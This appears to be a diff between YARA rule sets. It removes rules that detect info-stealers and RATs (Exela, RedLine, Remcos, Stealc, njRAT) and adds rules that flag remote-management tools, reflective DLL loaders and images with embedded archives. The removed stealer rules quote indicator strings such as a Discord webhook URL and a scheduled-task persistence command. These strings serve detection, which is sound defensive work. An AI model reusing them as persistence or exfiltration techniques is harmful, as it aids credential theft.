+		id = "83901679-ffff-5710-b472-ece592e6764f"
+		date = "2023-11-16"
+		modified = "2023-11-16"
+		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L245-L266"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "80ba217960dd1ddeb220545c1cccbe96d9b676d327364e1ca8a9dde2b059261f"
+		score = 75
+		quality = 75
 		tags = "FILE"
-		version = "1.0"
+		clamav1 = "INDICATOR.Win.RMM.PulseWay"
 
 	strings:
-		$pattern = { 06 1E 58 07 8E 69 FE17 }
+		$s1 = "MM.Monitor." ascii
+		$s2 = "RDAgentSessionSettingsV" ascii
+		$s3 = "CheckForMacOSRemoteDesktopUpdateCompletedEvent" ascii
+		$s4 = "ConfirmAgentStarted" ascii
+		$s5 = "GetScreenshot" ascii
+		$s6 = "UnloadRemoteDesktopDlls" ascii
+		$s7 = "CtrlAltDeleteProc" ascii
+		$s8 = "$7cfc3b88-6dc4-49fc-9f0a-bf9e9113a14d" ascii
+		$s9 = "computermonitor.mmsoft.ro" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <25MB and dotnet.is_dotnet and $pattern
+		( uint16(0)==0x5a4d or uint16(0)==0xcfd0) and 7 of them
 }
-import "dotnet"
+import "pe"
 
-rule DR4K0NIA_Msil_Suspicious_Use_Of_Strreverse : FILE
+rule DITEKSHEN_INDICATOR_RMM_Pulseway_Remotedesktop : FILE
 {
 	meta:
-		description = "Detects mixed use of Microsoft.CSharp and VisualBasic to use StrReverse"
-		author = "dr4k0nia"
-		id = "6d4682c3-b372-5d9e-bd6b-747c63e507c6"
-		date = "2023-01-31"
-		modified = "2023-02-22"
-		reference = "https://github.com/dr4k0nia/yara-rules"
-		source_url = "https://github.com/dr4k0nia/yara-rules/blob/4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8/dotnet/msil_suspicious_use_of_strreverse.yar#L3-L26"
-		license_url = "https://github.com/dr4k0nia/yara-rules/blob/4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8/LICENSE.md"
-		hash = "02ce0980427dea835fc9d9eed025dd26672bf2c15f0b10486ff8107ce3950701"
-		logic_hash = "ce44f1df536104134303b705bda5798dd14dc413296636f2380ecf5811dd63b7"
-		score = 60
-		quality = 55
+		description = "Detects Pulseway Rempte Desktop client"
+		author = "ditekSHen"
+		id = "8bca3cef-b24f-597a-a6e2-86040ed726f4"
+		date = "2023-11-16"
+		modified = "2023-11-16"
+		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L268-L286"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "a542c11f21ab48f4da69df4e7cb46531658a714687e2c2f8ccf78dc2a0338b68"
+		score = 75
+		quality = 75
 		tags = "FILE"
-		version = "1.1"
+		clamav1 = "INDICATOR.Win.RMM.PulseWay"
 
 	strings:
-		$csharp = "Microsoft.CSharp"
-		$vbnet = "Microsoft.VisualBasic"
-		$strreverse = "StrReverse"
+		$s1 = "RemoteControl" ascii
+		$s2 = "MM.Monitor.RemoteDesktopClient." ascii
+		$s3 = "MM.Monitor.RemoteControl" ascii
+		$s4 = "RemoteDesktopClientUpdateInfo" ascii
+		$s5 = "ShowRemoteDesktopEnabledSystemsOnly" ascii
+		$s6 = "$31f50968-d45c-49d6-ace9-ebc790855a51" ascii
 
 	condition:
-		uint16(0)==0x5a4d and dotnet.is_dotnet and filesize <50MB and $csharp and $vbnet and $strreverse
+		( uint16(0)==0x5a4d or uint16(0)==0xcfd0) and 5 of them
 }
-/*
- * YARA Rule Set
- * Repository Name: EmbeeResearch
- * Repository: https://github.com/embee-research/Yara-detection-rules/
- * Retrieval Date: 2024-08-04
- * Git Commit: ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4
- * Number of Rules: 39
- * Skipped: 0 (age), 8 (quality), 0 (score), 0 (importance)
- *
- *
- * LICENSE
- *
- * NO LICENSE SET
- */
-import "dotnet"
+import "pe"
 
-rule EMBEERESEARCH_Win_Exela_Stealer_Simple_Strings_Sep_2023
+rule DITEKSHEN_INDICATOR_RMM_Pulseway_CERT : FILE
 {
 	meta:
-		description = "No description has been set in the source file - EmbeeResearch"
-		author = "Matthew @embee_research"
-		id = "e63aa1d3-997e-5200-93fc-869c177fe1a8"
-		date = "2023-09-24"
-		modified = "2023-09-26"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_exela_stealer_simple_strings_sep_2023.yar#L4-L32"
-		license_url = "N/A"
-		hash = "bf5d70ca2faf355d86f4b40b58032f21e99c3944b1c5e199b9bb728258a95c1b"
-		logic_hash = "2312b63fe86fd34eb12f42f079f470eb3af27ef8c199f3620253c828ad28441a"
+		description = "Detects PulseWay by (default) certificate. Review RMM Inventory"
+		author = "ditekSHen"
+		id = "e00f51dc-261e-5a38-89ed-1899d9b522d4"
+		date = "2023-11-16"
+		modified = "2023-11-16"
+		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L288-L302"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "c667caa9b7de4b166630c66e5162071948fa93c68b1cdb3038fce28e13dcb1a9"
 		score = 75
 		quality = 75
-		tags = ""
-
-	strings:
-		$s1 = "https://i.instagram.com/api/v1/accounts/current_user/" wide
-		$s2 = "/create /f /sc onlogon /rl highest /tn \"AutoUpdateCheckerOnLogon\" /tr " wide
-		$s4 = "https://discord.com/api/webhooks/" wide
-		$s5 = "Browser : {0} | Name : {1} | Value : {2} | Date created (timestamp) : {3} |  Date last used (timestamp) : {4} | Count {5}" wide
-		$s6 = "Browser : {0} | {1} {2}/{3} {4}" wide
-		$e1 = "Exela.Program" wide ascii
-		$e2 = "Exela.Wifi" wide ascii
-		$e3 = "Exela.Components" wide ascii
-		$e4 = "Exela Stealer" wide ascii
-		$e5 = "Exela.exe" wide ascii
+		tags = "FILE"
 
 	condition:
-		dotnet.is_dotnet and (( all of ($s*)) or (3 of ($e*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "DigiCert, Inc." and pe.signatures[i].subject contains "MMSOFT Design Ltd.")
 }
-rule EMBEERESEARCH_Win_Redline_Loader_Dec_2023
+import "pe"
+
+rule DITEKSHEN_INDICATOR_RMM_Manageengine_Zohomeeting : FILE
 {
 	meta:
-		description = "Patterns observed in redline loader"
-		author = "Matthew @ Embee_Research"
-		id = "59d933a8-8ccd-565f-b379-e0bf6c3d3111"
-		date = "2023-12-24"
-		modified = "2023-12-29"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_redline_loader_dec_2023.yar#L1-L20"
-		license_url = "N/A"
-		hash = ""
-		logic_hash = "831c32f9998b97f7ceeb14df73a264a998df5f8800aaa5271755aaaeac070010"
+		description = "Detects ManageEngine Zoho Meeting (dc_rds.exe)"
+		author = "ditekSHen"
+		id = "b15efdd1-323c-5ed6-894d-b44f04d2eaf3"
+		date = "2023-11-16"
+		modified = "2023-11-16"
+		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L304-L324"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "8066bcd17245efcc73f2bef7f022ad23ab648fe0ad15ca66c0d387ce4eda998b"
 		score = 75
 		quality = 75
-		tags = ""
+		tags = "FILE"
+		clamav1 = "INDICATOR.Win.RMM.ManageEngine-ZohoMeeting"
 
 	strings:
-		$s1 = {8b ?? ?? 0c 30 04 31 46 3b f7 7c ?? 5d 5b 5e 83 ?? ?? 75}
-		$s2 = "WritePrivateProfileStringA"
-		$s3 = "SetFileShortNameA"
-		$s4 = "- Attempt to use MSIL code from this assembly during native code initialization"
+		$s1 = "bin\\ClientAuthHandler.dll" wide
+		$s2 = "AgentHook.dll" wide
+		$s3 = "UEMS - Remote Control" wide
+		$s4 = "Install hook...." wide
+		$s5 = "india.adventnet.com/meet.sas?k=" ascii
+		$s6 = "dcTcpSocket::" ascii
+		$s7 = "%s/%s?clientId=%s&sessionId=%s&clientName=%s&ticket=%s&connectionId=%s" ascii
+		$s8 = ".\\engines\\ccgost\\gost_" ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and 5 of them
 }
-rule EMBEERESEARCH_Win_Remcos_Rat_Unpacked : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_RMM_Atera : FILE
 {
 	meta:
-		description = "Detects strings present in remcos rat Samples."
-		author = "Matthew @ Embee_Research"
-		id = "d4282638-592a-5c07-b07b-937e2a7879e4"
-		date = "2023-08-27"
-		modified = "2023-10-18"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_remcos_rat_unpacked_aug_2023.yar#L2-L32"
-		license_url = "N/A"
-		hash = "ec901217558e77f2f449031a6a1190b1e99b30fa1bb8d8dabc3a99bc69833784"
-		logic_hash = "c6d1772a5517b104de3022f4bab55d92784d35c3a252a4e0516083d8bd28cad0"
+		description = "Detects Atera. Review RMM Inventory"
+		author = "ditekSHen"
+		id = "9801f5c9-bc1e-5502-8bca-ee1f5ca0f497"
+		date = "2023-11-16"
+		modified = "2023-11-16"
+		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L345-L366"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "dbc37a941b38d36ea9bc31880c3cba6cd2b88b534583e86741f7686fcb410235"
 		score = 75
 		quality = 75
 		tags = "FILE"
+		clamav1 = "INDICATOR.Win.RMM.Atera"
 
 	strings:
-		$r0 = " ______                              " ascii
-		$r1 = "(_____ \\                             " ascii
-		$r2 = " _____) )_____ ____   ____ ___   ___ " ascii
-		$r3 = "|  __  /| ___ |    \\ / ___) _ \\ /___)" ascii
-		$r4 = "| |  \\ \\| ____| | | ( (__| |_| |___ |" ascii
-		$r5 = "|_|   |_|_____)_|_|_|\\____)___/(___/ " ascii
-		$s1 = "Watchdog module activated" ascii
-		$s2 = "Remcos restarted by watchdog!" ascii
-		$s3 = " BreakingSecurity.net" ascii
+		$s1 = "SOFTWARE\\ATERA Networks\\AlphaAgent" wide
+		$s2 = "Monitoring & Management Agent by ATERA" ascii wide
+		$s3 = "agent-api-{0}.atera.com" wide
+		$s4 = "agent-api.atera.com" wide
+		$s5 = "acontrol.atera.com" wide
+		$s6 = /Agent\/(PingReply|GetCommandsFallback|GetCommands|GetTime|GetEnvironmentStatus|GetRecurringPackages|AgentStarting|AcknowledgeCommands)/ wide
+		$s7 = "\\AlphaControlAgent\\obj\\Release\\AteraAgent.pdb" ascii
+		$s8 = "AteraWebAddress" ascii
+		$s9 = "AlphaControlAgent.CloudLogsManager+<>" ascii
 
 	condition:
-		(( all of ($r*)) or ( all of ($s*)))
+		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule EMBEERESEARCH_Win_Icedid_Snowloader_Bytecodes_Oct_2023
+rule DITEKSHEN_INDICATOR_RMM_Atera_CERT : FILE
 {
 	meta:
-		description = "No description has been set in the source file - EmbeeResearch"
-		author = "Matthew @ Embee_Research"
-		id = "ad5d7bf5-813d-519d-91ae-e6a69fd557df"
-		date = "2023-08-27"
-		modified = "2023-10-18"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_icedid_snowloader_bytecodes_oct_2023.yar#L2-L23"
-		license_url = "N/A"
-		hash = "e096de90f65ff83ed0e929b330aa765a8e2322625325fb042775bff1748467cc"
-		hash = "e87928fcddf13935c91a0b5577e28efd29bb6a5c1d98e5129dec63e231601053"
-		hash = "82a01607ebdcaa73b9ff201ccb76780ad8de4a99dd3df026dcb71b0f007456ed"
-		logic_hash = "5baa308ce130cbbe80f94fc127b083f26ae87552910c2bc6f3bae3008cf1aa63"
+		description = "Detects Atera by certificate. Review RMM Inventory"
+		author = "ditekSHen"
+		id = "a5ccb684-1e28-51c8-a4d6-0b5abba97de0"
+		date = "2023-11-16"
+		modified = "2023-11-16"
+		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L368-L383"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "f51fef767cd529271f06d578146634e1ab5ee5ac3ffb829cbaa870e7c69ca3f6"
 		score = 75
 		quality = 75
-		tags = ""
-
-	strings:
-		$s_1 = {4c 77 26 07}
-		$s_2 = {58 a4 53 e5}
-		$s_3 = {10 e1 8a c3}
+		tags = "FILE"
+		clamav1 = "INDICATOR.Win.RMM.Atera"
 
 	condition:
-		( all of ($s*)) and pe.number_of_exports>20
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "DigiCert" and pe.signatures[i].subject contains "Atera Networks Ltd")
 }
-rule EMBEERESEARCH_Win_Stealc_Bytecodes_Oct_2023
+import "pe"
+
+rule DITEKSHEN_INDICATOR_RMM_Splashtopstreamer : FILE
 {
 	meta:
-		description = "Bytecodes present in Stealc decoding routine"
-		author = "Matthew @ Embee_Research"
-		id = "ecac28a0-cd77-5e6a-8af2-59ea62e733bf"
-		date = "2023-08-27"
-		modified = "2023-10-09"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_stealc_bytecodes_oct_2023.yar#L2-L21"
-		license_url = "N/A"
-		hash = "74ff68245745b9d4cec9ef3c539d8da15295bdc70caa6fdb0632acdd9be4130a"
-		hash = "9f44a4cbc30e7a05d7eb00b531a9b3a4ada5d49ecf585b48892643a189358526"
-		logic_hash = "d50f57e32a7f513d92625549fcd139b7fa1e478879283fd61426fcd19d03d296"
+		description = "Detects Splashtop Streamer. Review RMM Inventory"
+		author = "ditekSHen"
+		id = "317f2be4-983f-5528-b629-75a13de7b411"
+		date = "2023-11-16"
+		modified = "2023-11-16"
+		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L385-L403"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "67181cd6ae071074c6bf35f44963c11c9ee9b7df242027c15b1e165d108f7b98"
 		score = 75
 		quality = 75
-		tags = ""
+		tags = "FILE"
+		clamav1 = "INDICATOR.Win.RMM.SplashtopStreamer"
 
 	strings:
-		$s1 = {8b 4d f0 89 4d f8 8b 45 f8 c1 e0 03 33 d2 b9 06 00 00 00 f7 f1 8b e5 5d c2 04 00}
+		$s1 = "\\slave\\workspace\\GIT_WIN_SRS_Formal\\Source\\irisserver\\" ascii
+		$s2 = ".api.splashtop.com" wide
+		$s3 = "Software\\Splashtop Inc.\\Splashtop" wide
+		$s4 = "restarted the streamer.%nApp version: %1" wide
+		$s5 = "Splashtop-Splashtop Streamer-" wide
+		$s6 = "[RemoveStreamer] Send msg 2 cloud(%d:%d:%d)" wide
 
 	condition:
-		( all of ($s*))
+		uint16(0)==0x5a4d and 4 of them
 }
-rule EMBEERESEARCH_Win_Redline_Updated_Bytecodes_Oct_2023
+import "pe"
+
+rule DITEKSHEN_INDICATOR_RMM_Splashtopstreamer_CERT : FILE
 {
 	meta:
-		description = "Configuration related bytecodes in redline .net files"
-		author = "Matthew @ Embee_Research"
-		id = "1e4470cf-fad3-57e5-8a95-deb97e98dbdc"
-		date = "2023-10-11"
-		modified = "2023-10-11"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_redline_bytecodes_oct_2023.yar#L2-L35"
-		license_url = "N/A"
-		hash = "0cc3a0f8b48ef8d8562b9cdf9c7cfe7f63faf43a5ac6dc6973dc8bf13b6c88cf"
-		logic_hash = "77273ba3736baf2c197fb8b17de1e22ba8f2380f73f9114f324ef56bfa508654"
+		description = "Detects Splashtop Streamer by certificate. Review RMM Inventory"
+		author = "ditekSHen"
+		id = "7e0e4d6f-38a3-5cac-8a82-8aea7943d373"
+		date = "2023-11-16"
+		modified = "2023-11-16"
+		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L405-L419"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "0a1225a79ff30678846b9cb4315419be04b46276b3e05310a21d088b30f01b72"
 		score = 75
 		quality = 75
-		tags = ""
-
-	strings:
-		$s_1 = {
-				20 ?? ?? ?? ?? 											// ldc.i4
-				2B 00       											// br.s
-				28 ?? ?? ?? 2B 											// Call
-				80 ?? ?? ?? 04 											// stsfld
-				(20 ?? ?? ?? ?? 2B00 28 ?? ?? ?? 2B | 72 ?? ?? ?? 70)   // ldc.i4, br.s, call OR ldstr
-				80 ?? ?? ?? 04      									// Call
-				(20 ?? ?? ?? ?? 2B00 28 ?? ?? ?? 2B | 72 ?? ?? ?? 70)   // ldc.i4, br.s, call OR ldstr
-				80 ?? ?? ?? 04 											// Call		
-				20 ?? ?? ?? ?? 											// ldc.i4
-				2B00            										// br.s
-				28 ?? ?? ?? 2B      									// Call
-				80 ?? ?? ?? 04 											// stsfld
-				2A 														// ret
-			}
-		$s_2 = "mscoree.dll"
+		tags = "FILE"
 
 	condition:
-		$s_1 and $s_2
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "DigiCert" and pe.signatures[i].subject contains "Splashtop Inc.")
 }
-rule EMBEERESEARCH_Win_Berbew_Strings_Dec_2023
+import "pe"
+
+rule DITEKSHEN_INDICATOR_RMM_Aeroadmin : FILE
 {
 	meta:
-		description = "Strings observed in Berbew malware."
-		author = "Matthew @ Embee_Research"
-		id = "402711af-c543-5c95-ae9e-e663825b6653"
-		date = "2023-12-24"
-		modified = "2023-12-26"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_berbew_strings_dec_2023.yar#L1-L19"
-		license_url = "N/A"
-		hash = "24dc0af3c51118697df999d8bffcdfc9cbf0d07f2630473450dd826a1ae4b9ae"
-		logic_hash = "a7f687e749ec69961777063d52678461a8e288c80037fac051d7b1a5b568d9e8"
+		description = "Detects AeroAdmin. Review RMM Inventory"
+		author = "ditekSHen"
+		id = "0f69c6da-40e4-5952-b6f9-ed401279eb9e"
+		date = "2023-11-16"
+		modified = "2023-11-16"
+		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L421-L442"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "a0a9e15f31b6b06fbc749b863563c30351c775c1b1d17952013670e7e1d68c41"
 		score = 75
 		quality = 75
-		tags = ""
+		tags = "FILE"
+		clamav1 = "INDICATOR.Win.RMM.AeroAdmin"
 
 	strings:
-		$s1 = "This KEWL STUFF was coded by V. V. PUPKIN"
-		$s2 = "REAL CASH, REAL BITCHEZ"
-		$s3 = "Please, enter your Card Number"
+		$s1 = "\\AeroAdmin" wide
+		$s2 = ".aeroadmin.com" ascii wide
+		$s3 = "XAeroadminAppRestarter" wide
+		$s4 = "SYSTEM\\ControlSet001\\Control\\SafeBoot\\Network\\AeroadminService" wide
+		$s5 = "AeroAdmin {}" ascii
+		$s6 = "FAeroAdmin.cpp" fullword ascii
+		$s7 = "Referer: http://900100.net" ascii
+		$s8 = "POST /sims/sims_new.php" ascii
+		$s9 = "aeroadmin.pdb" ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and 4 of them
 }
-rule EMBEERESEARCH_Win_Redline_Payload_Dec_2023
+import "pe"
+
+rule DITEKSHEN_INDICATOR_RMM_Aeroadmin_CERT : FILE
 {
 	meta:
-		description = "Patterns observed in redline"
-		author = "Matthew @ Embee_Research"
-		id = "6208779a-69b2-55b5-9744-987575c00d96"
-		date = "2023-12-24"
-		modified = "2023-12-29"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_redline_payload_dec_2023.yar#L1-L16"
-		license_url = "N/A"
-		hash = "5790aead07ce0b9b508392b9a2f363ef77055ae16c44231773849c87a1dd15a4"
-		logic_hash = "d016baa5017120a3037e9cef7fd649228f7be60e511ecbdedf97916f59eec881"
+		description = "Detects AeroAdmin by certificate. Review RMM Inventory"
+		author = "ditekSHen"
+		id = "ca34fd3c-eb76-57e3-8b62-ab0d0c9ec7b3"
+		date = "2023-11-16"
+		modified = "2023-11-16"
+		reference = "https://www.cisa.gov/sites/default/files/2023-08/JCDC_RMM_Cyber_Defense_Plan_TLP_CLEAR_508c_1.pdf"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_rmm.yar#L444-L461"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "f1fe2d2bb6a8afd25fc5ee7a60fe5a931484591bafab24c5d488c7f0483e248a"
 		score = 75
 		quality = 75
-		tags = ""
-
-	strings:
-		$s1 = {16 72 ?? ?? ?? 70 A2 7E ?? ?? ?? 04 17 72 ?? ?? ?? 70 7E ?? ?? ?? 04 16 9A 28 ?? ?? ?? 06 A2 7E ?? ?? ?? 04 18 72 ?? ?? ?? 70 }
+		tags = "FILE"
+		clamav1 = "INDICATOR.Win.RMM.AeroAdmin"
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "GlobalSign" and (pe.signatures[i].subject contains "Aeroadmin LLC" or pe.signatures[i].subject contains "@aeroadmin.com"))
 }
-rule EMBEERESEARCH_Win_Mystic_Stealer_Bytecodes_Sep_2023
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_Reflectiveloader : FILE
 {
 	meta:
-		description = "No description has been set in the source file - EmbeeResearch"
-		author = "Matthew @ Embee_reserch"
-		id = "ef7c51e1-9c8c-5b66-bc1e-f35a796c84f2"
-		date = "2023-09-21"
-		modified = "2023-11-12"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_mystic_stealer_bytecodes_sep_2023.yar#L1-L29"
-		license_url = "N/A"
-		hash = "ef9fce75334befe0b435798c0b61dab1239ea5bc62b97654943676dd96dc6318"
-		hash = "36d8cb1447e2c5da60d2b86bf29856919c25f8e71a17f1d0d61d03c5e0505e4b"
-		hash = "e907c22288dacb37efa07481fef7a0d4ec0ce42954f12b2572ea7f5ffeecf313"
-		logic_hash = "f68b6ef307e48b7ff6f944cfcf9c906a83611400af5af7d8621227874356960d"
-		score = 75
-		quality = 75
-		tags = ""
+		description = "Detects Reflective DLL injection artifacts"
+		author = "ditekSHen"
+		id = "b7bd9184-48f8-5ad8-a234-632e4ec9814d"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L29-L43"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "540a48f98652c84b09f1076c2e2fca680781f533c936d602809179469a850ba0"
+		score = 40
+		quality = 45
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$s1 = {99 d3 d8 c5}
-		$s2 = {99 b7 66 df}
-		$s3 = {cb 45 92 f8}
-		$s4 = {7b cc e1 54}
-		$s5 = {7b 9c 29 17}
-		$s6 = {01 c4 fb 83}
-		$s7 = {b6 0f 74 e3}
-		$s8 = {93 58 b5 ee}
-		$s9 = {81 d9 df be}
-		$s10 = {7b d8 62 00}
-		$s12 = {81 d9 df be}
-		$s13 = {7b d8 62 00}
-		$s14 = {77 4a bc ac}
+		$s1 = "_ReflectiveLoader@" ascii wide
+		$s2 = "ReflectiveLoader@" ascii wide
 
 	condition:
-		( all of them )
+		uint16(0)==0x5a4d and (1 of them or (pe.exports("ReflectiveLoader@4") or pe.exports("_ReflectiveLoader@4") or pe.exports("ReflectiveLoader")))
 }
-import "dotnet"
+import "time"
+import "pe"
 
-rule EMBEERESEARCH_Win_Njrat_Bytecodes_V2_Oct_2023
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_IMG_Embedded_Archive : FILE
 {
 	meta:
-		description = ""
-		author = "Matthew @ Embee_Research"
-		id = "9090574e-7ad4-5207-af8b-7b56f2a1c917"
-		date = "2023-10-03"
-		modified = "2023-10-08"
-		reference = "https://github.com/embee-research/Yara-detection-rules/"
-		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_njrat_bytecodes_v2_oct_2023.yar#L5-L27"
-		license_url = "N/A"
-		hash = "9877fc613035d533feda6adc6848e183bf8c8660de3a34b1acd73c75e62e2823"
-		hash = "40f07bdfb74e61fe7d7973bcd4167ffefcff2f8ba2ed6f82e9fcb5a295aaf113"
-		logic_hash = "0bdbf5715e3873d96c88a24ba08487af2b798d26cdcd3e35d783ce4828dae775"
-		score = 75
-		quality = 75
-		tags = ""
+		description = "Detects images embedding archives. Observed in TheRat RAT."
+		author = "ditekSHen"
+		id = "2c8e15dc-2e84-5f9b-b538-cba204a3d38c"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L45-L66"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "0e61bc2489a54047c66a659ae2cb6df66683845676e1c02c34d9a0987ddec4bb"
+		score = 40
+		quality = 37
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$s1 = {03 1F 72 2E ?? 03 1F 73 2E ?? 03 1F 74 2E ?? 03 1F 75 2E ?? 03 1F 76 2E ?? }
-		$s2 = {0B 14 0C 16 0D 16 13 ?? 16 13 ?? 14}
+		$sevenzip1 = { 37 7a bc af 27 1c 00 04 }
+		$sevenzip2 = { 37 e4 53 96 c9 db d6 07 }
+		$zipwopass = { 50 4b 03 04 14 00 00 00 }
+		$zipwipass = { 50 4b 03 04 33 00 01 00 }
+		$zippkfile = { 50 4b 03 04 0a 00 02 00 }
+		$rarheade1 = { 52 61 72 21 1a 07 01 00 }
+		$rarheade2 = { 52 65 74 75 72 6e 2d 50 }
+		$rarheade3 = { 52 61 72 21 1a 07 00 cf }
+		$mscabinet = { 4d 53 46 54 02 00 01 00 }
+		$zlockproe = { 50 4b 03 04 14 00 01 00 }
+		$winzip = { 57 69 6E 5A 69 70 }
+		$pklite = { 50 4B 4C 49 54 45 }
+		$pksfx = { 50 4B 53 70 58 }
 
